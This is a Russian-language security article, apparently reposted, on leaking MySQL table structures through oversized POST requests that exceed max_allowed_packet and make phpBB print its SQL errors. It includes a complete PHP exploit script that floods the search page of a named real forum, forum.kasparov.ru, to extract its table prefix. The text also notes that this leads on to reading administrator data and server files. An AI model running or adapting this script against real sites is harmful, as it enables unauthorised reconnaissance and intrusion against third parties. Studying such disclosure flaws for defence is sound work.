Реальный пиарСоздание сайтовБезопасность → Раскрытие данных в приложениях, использующих MySQL

Раскрытие данных в приложениях, использующих MySQL

форум phpBB

Существует универсальный способ раскрытия важных данных, таких как структуры таблиц MySQL в веб-приложениях, при соблюдении некоторых условиях. Наиболее вероятными мишенями могут стать форумы, CMS, гостевые книги и другие приложения с развитой системой информирования об ошибках.

Поскольку форум phpBB сообщает об ошибках, которые не удаётся обойти, есть возможность получить названия таблиц (поля в них являются стандартными, однако префисксы у названия таблиц может быть различным). Для этого можно использовать ошибку при обработке слишком больших запросов. По умолчанию в настройках MySQL, в файле my.ini определена переменная (или не указана вовсе):

max_allowed_packet = 1M

Поскольку методом POST можно передать любые объёмы данных, то те скрипты, которые принимают данные по этому методу, могут быть вынуждены сообщить об ошибке, получив запрос, превышающий 1 Мб. Например, поиск по форуме в этом случае отображает «неверный» запрос:

SELECT m.post_id FROM phpbb_search_wordlist w, phpbb_search_wordmatch m WHERE w.word_text LIKE "123...

Таким образом, остаётся только подобрать имя базы данных форума, и тогда из него можно будет прочесть информацию об администраторах и использовать встроенные средства работы с MySQL (импорт БД) читать файлы на сервере. То есть, угроза высока.

Однако речь идет не только о форумах phpBB, настройка max_allowed_packet зачастую приводит к раскрытию структур данных и в других системах. Ключевым условием является отображение ошибки функцией mysql_error() в PHP или аналогичной в других языках.

Пример скрипта, позволяющего благодаря переполнению получить префикс таблиц форума на forum.kasparov.ru:

<?
@error_reporting(0);
@set_time_limit(0);
@ini_set("max_execution_time", 0);
@ini_set("output_buffering", 0);

$code="mode=results&search_keywords=";
for($i=0;$i<120000;$i++) {$code.="1234567890";}

$sock=fsockopen("forum.kasparov.ru", 80);
$size_of_code=strlen($code);
$send=
"POST /search.php HTTP/1.1 ".
"Host: forum.kasparov.ru ".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) ".
"Connection: Keep-Alive ".
"Content-Type: application/x-www-form-urlencoded ".
"Content-Length: ${size_of_code} ".
"${code}";
fputs($sock, $send);
sleep(1);
while($str=fgets($sock))
{
echo $str;
}
fclose($sock);
?>

Как мы видим, скрипт использует поиск на форуме для передачи большого пакета данных, который не в силах обработать MySQL. Форум возвращает ошибку, из которой мы узнаем, что префикс таблиц форума - phpbb_:


Источник: http://saytostroy.ru

Рекомендуем



Блокировка нежелательных обращений к серверу 1 находится в нежелательной сети, и нежелательные запросы исходят из всей сети, нужно блокировать всю подсеть


Управление аутентификацией в Apache Кроме того, можно использовать данную возможность для доступа к отдельной части сайта только с локального адреса, для этого пропишите IP 127


Защита баз данных: разделение доступа Теперь, если скрипт отображения сайта окажется уязвим и злоумышленник получит возможность от имени учетной записи отображения site_use выполнять команды MySQL, он не сможет совершить ничего существенного